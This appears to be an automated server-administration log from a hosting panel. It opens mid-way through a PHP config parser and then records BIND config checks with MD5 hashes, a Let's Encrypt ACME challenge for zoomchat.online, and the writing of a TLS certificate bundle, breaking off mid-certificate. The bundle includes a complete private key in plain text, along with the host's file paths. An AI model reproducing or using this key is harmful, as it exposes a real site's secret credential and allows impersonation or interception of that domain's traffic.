} elseif ($token_data == '{') { // group
$i++;
ParseGroup($tokens, $i);
} elseif ($token_data == '}') { // end of group
addEntry($current);
return;
}
case T_OPEN_TAG:
case T_WHITESPACE:
case T_COMMENT:
break;
case T_DNUMBER: // 127.0 / .0 / .1
case T_LNUMBER:
case T_CONSTANT_ENCAPSED_STRING:
case T_STRING:
case T_INCLUDE:
$current[] = $token_data;
break;
}
$i++;
}
addEntry($current);
}
2025-10-22 12:29:24:
runuser -l bind -s /bin/bash -c '/tmp/pkp552740; rm /tmp/pkp552740'
2025-10-22 12:29:24:
MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 375a64f534f63b93f1dcfccf9cc415bd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= a3d92972abbb369edf3baf47c3e33e8b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= f90b48a7c1061822ec2b4beef20285a3
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 8aba258068c8c60a7ade3952a285f57d
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d
2025-10-22 12:29:36: Establishing a connection
2025-10-22 12:29:38: Establishing a connection
2025-10-22 12:29:39:
PUT: /tmp/pkp987711
#!/bin/bash
if [ -d "/var/www/zoomchat_www/.well-known" ]; then
echo 1
else
echo 0
fi
2025-10-22 12:29:40:
chmod 755 /tmp/pkp987711; /tmp/pkp987711; rm /tmp/pkp987711
2025-10-22 12:29:40:
1
2025-10-22 12:29:41: Establishing a connection
2025-10-22 12:29:42:
PUT: /tmp/pkp614897
#!/bin/bash
mkdir -p "/var/www/zoomchat_www/.well-known/acme-challenge/"
cd "/var/www/zoomchat_www/.well-known/acme-challenge/"
cat > g_QlwgZMkGEfiqY6lx-M5Vy0Vsyvgpdfe6eRVyzw4ek <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
g_QlwgZMkGEfiqY6lx-M5Vy0Vsyvgpdfe6eRVyzw4ek.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 g_QlwgZMkGEfiqY6lx-M5Vy0Vsyvgpdfe6eRVyzw4ek
2025-10-22 12:29:43:
chmod 755 /tmp/pkp614897; /tmp/pkp614897; rm /tmp/pkp614897
2025-10-22 12:29:44:
2025-10-22 12:29:49: Establishing a connection
2025-10-22 12:29:50:
PUT: /tmp/pkp721435
#!/bin/bash
mkdir -p "/var/www/zoomchat_www/.well-known/acme-challenge/"
cd "/var/www/zoomchat_www/.well-known/acme-challenge/"
rm g_QlwgZMkGEfiqY6lx-M5Vy0Vsyvgpdfe6eRVyzw4ek
2025-10-22 12:29:51:
chmod 755 /tmp/pkp721435; /tmp/pkp721435; rm /tmp/pkp721435
2025-10-22 12:29:51:
2025-10-22 12:29:51: Establishing a connection
2025-10-22 12:29:52:
PUT: /tmp/pkp274210
#!/bin/bash
temp_file=$(mktemp)
TARGET=842c702c1ca7114dc2c211c70793b244.crt
cat > $temp_file <<'endmsg'
88:ae:58:fd:81:7f:fa:68:5c:91:f2:c0:58:4c:c2:eb
-----BEGIN CERTIFICATE-----
MIIFDjCCA/agAwIBAgISBmA2Wyxj6M8RFeVWySr6EJmaMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMDIyMTEzMTE2WhcNMjYwMTIwMTEzMTE1WjAaMRgwFgYDVQQD
Ew96b29tY2hhdC5vbmxpbmUwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIB
AQC+q5gDk71L9JuIeLo439+mWe6vXQGr/fdr/R6A1ivwmmuOKp8Ju1+roPK/YY9R
F91YWxls8aq2IvlcUKKAOLVqriHZbAbZ0rdduTp/oeOivIGs04VTFRyjPLCsS2GX
fwuyV6En4K5WNiFEppg+o6dlYgeBsKUl55n0UeyZpQUy7bONZjitjcc+2MqT3VPH
QxQ3+AQGQykIHt8PjqCcL0pHbGk2cPScuDDwQ7viqy6R2kHJ8B3EjU+ot/uekJ9b
tXRLV4or+pwdnahqadar+yJBRMuiux65MbcuIwrdCq+TkW23QXcbhuHbIrPYyRrN
xZ0c94o2VnXEgmHV7gVClQm5AgMBAAGjggIzMIICLzAOBgNVHQ8BAf8EBAMCBaAw
HQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQCMAAwHQYD
VR0OBBYEFNDY7OaFbCEzdu0Qe1KBT//Rp9QmMB8GA1UdIwQYMBaAFOernw8sM6BT
015PeMiyhA471pIzMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDov
L3IxMy5pLmxlbmNyLm9yZy8wLwYDVR0RBCgwJoITd3d3Lnpvb21jaGF0Lm9ubGlu
ZYIPem9vbWNoYXQub25saW5lMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4GA1UdHwQn
MCUwI6AhoB+GHWh0dHA6Ly9yMTMuYy5sZW5jci5vcmcvMjcuY3JsMIIBAwYKKwYB
BAHWeQIEAgSB9ASB8QDvAHUADleUvPOuqT4zGyyZB7P3kN+bwj1xMiXdIaklrGHF
TiEAAAGaC+WVowAABAMARjBEAiA0el1Raa6a+LhZRxV4I7oeu8alJ8DstylL4ZWP
zi72twIgV02g+vnTTdZspMw8IkgrcLyTP2Re83oRbWcD7S51E64AdgBkEcRspBLs
p4kcogIuALyrTygH1B41J6vq/tUDyX3N8AAAAZoL5Z1tAAAEAwBHMEUCIAw0ARVK
cJuNJ7BXpD+0VfZsmxZiQ/j8sWVMqrHtl8pLAiEApqsdO9iB3VlJxZT0AQ1tpZYG
LuthvxrbygwhUu0vyVwwDQYJKoZIhvcNAQELBQADggEBAFvlys3axHqnx4nl71BL
wwZfc2XLaZNJprIyOEeth10lXQZzYUq6vVa5bkpblPlJ9quzvH5FP68fwkcnWZz2
a7DEEgU6btTphwIXlolq8MYHQjxW2r65/iP310RRkv9+zLChE11pnary9aXUZ+qk
GtY67c1PTcyeWpSJxFpPloUgMqEdR5qhfCnNX9hA3ush+5olW+HwME/xX4n47jgQ
+IC7Dnzaecp+iKXU5B/fBojCRH5cpKwciYIeEOw8mMDaXWqIeUllA0YlDKCnE66u
pNjjjnuw12pRcY/QD8MfKcb3iT2NkCyLTRwZAchxjcg0gknVRFyyxspu+afxAW2n
Qvg=
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEwAIBADANBgkqhkiG9w0BAQEFAASCBKowggSmAgEAAoIBAQC+q5gDk71L9JuI
eLo439+mWe6vXQGr/fdr/R6A1ivwmmuOKp8Ju1+roPK/YY9RF91YWxls8aq2Ivlc
UKKAOLVqriHZbAbZ0rdduTp/oeOivIGs04VTFRyjPLCsS2GXfwuyV6En4K5WNiFE
ppg+o6dlYgeBsKUl55n0UeyZpQUy7bONZjitjcc+2MqT3VPHQxQ3+AQGQykIHt8P
jqCcL0pHbGk2cPScuDDwQ7viqy6R2kHJ8B3EjU+ot/uekJ9btXRLV4or+pwdnahq
adar+yJBRMuiux65MbcuIwrdCq+TkW23QXcbhuHbIrPYyRrNxZ0c94o2VnXEgmHV
7gVClQm5AgMBAAECggEBAJU8+d7S5HdvHc3TsO6TTBqIian4wjY8skxz8kwlVn8c
XtMHyTN01Y0gjN//HI38f+OIan47KcMl3MfE1WxG9rhpU1U6mKIlrCBPutnrfKED
qvv7E3/UJnYeKqqw1dIePql4rUrpMYuJEsEJJGDi90MDV5zLBniErpvtA6O+5jLV
QLVWp3bT6n4yb9ZnSe8vd8O/hQfjecJ4VLFgw0lgaOfxezlFF1gOcYNYH7/FL8TQ
zjEfyufbvprYu/fvexeZZ54tiW97+ffiHExggi4M5kPGABiYmkG6QprneboIG/+3
voUdv6i2kzJhbTknPvyqt/GuTiFgCDSTr6hlYhSwNgECgYEA3xOP+gs9oUo04e7l
t3/eRmisbEKLlV5NCkV8SF+VGDdaEcSrNjfSI9pZpSEqJMGCQA4/4B4YHAoUPhY4
oBAFrNwQ1YE3RcpVoLxzQ+5+X2FE4aBysOK9ltPVKKse4o5qDcc2+BpeBAU2mInl
OKfB3IktRDJobq2t/jD0UtURuEUCgYEA2s+jorLx6xhts0KizsqzV4kSDot1xZ61
xJxzLgZyBPxL+kkMFrkILeUoW07Qfd3BeVbY+/mg7WX9N/CSMWgC08YMN6LpI5nj
ekWx1E3w6/6Z2JvKpo9I025gTk4E7HEsLLB/sUcoP4cWRQReF/KzzJKkGyMpEa+u
/4gf0CljpOUCgYEAtmrw2bBHfZWJGRiakSvnP/xowz7HliW/Kh8YOrau3VamONFy
kKulE9yCYh50sAnt0SPV6Bez73nug7b4Jyvy+CAdQ/qekFudGgwA1hQ5ExYflcH3
B97i2mvva4pDf1CmOQ4nTUuChhcdRi+9Wk8UoJssgRAXhipQlgTCRtol22ECgYEA
1ReB9ODwWFPiAcHTbDBbl9QVkbSfbWWy/1adlSURxWkvVP/ulfJ81LVnKAUJZoqf
8NtzVXE2F/xLLj9LIHJ6zmMBYu10vwcPUfStymRdTHcWvKx8HtlLwxyrDZdNlDZj
HuKEeNEjkTqtpWkreYcTMxdcWlFTnbXKZ3DaCo9ES0ECgYEA1J9iAzeuvAZpB82/
1V2A1C4GwJkBsqHNv1dwUwt5xm4W+0LR6YVTBv6LuWDNWfI0O2UaYlpve6eR+jUp
ZXMSJ8lJOehdm4PrkJhCWtPeZiNQcau88jEJorxUFlX8WkB1UbibN6DGft3nHpPb
4/HQ6Lba/PEA+jmjB+KoSfsHlP4=
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
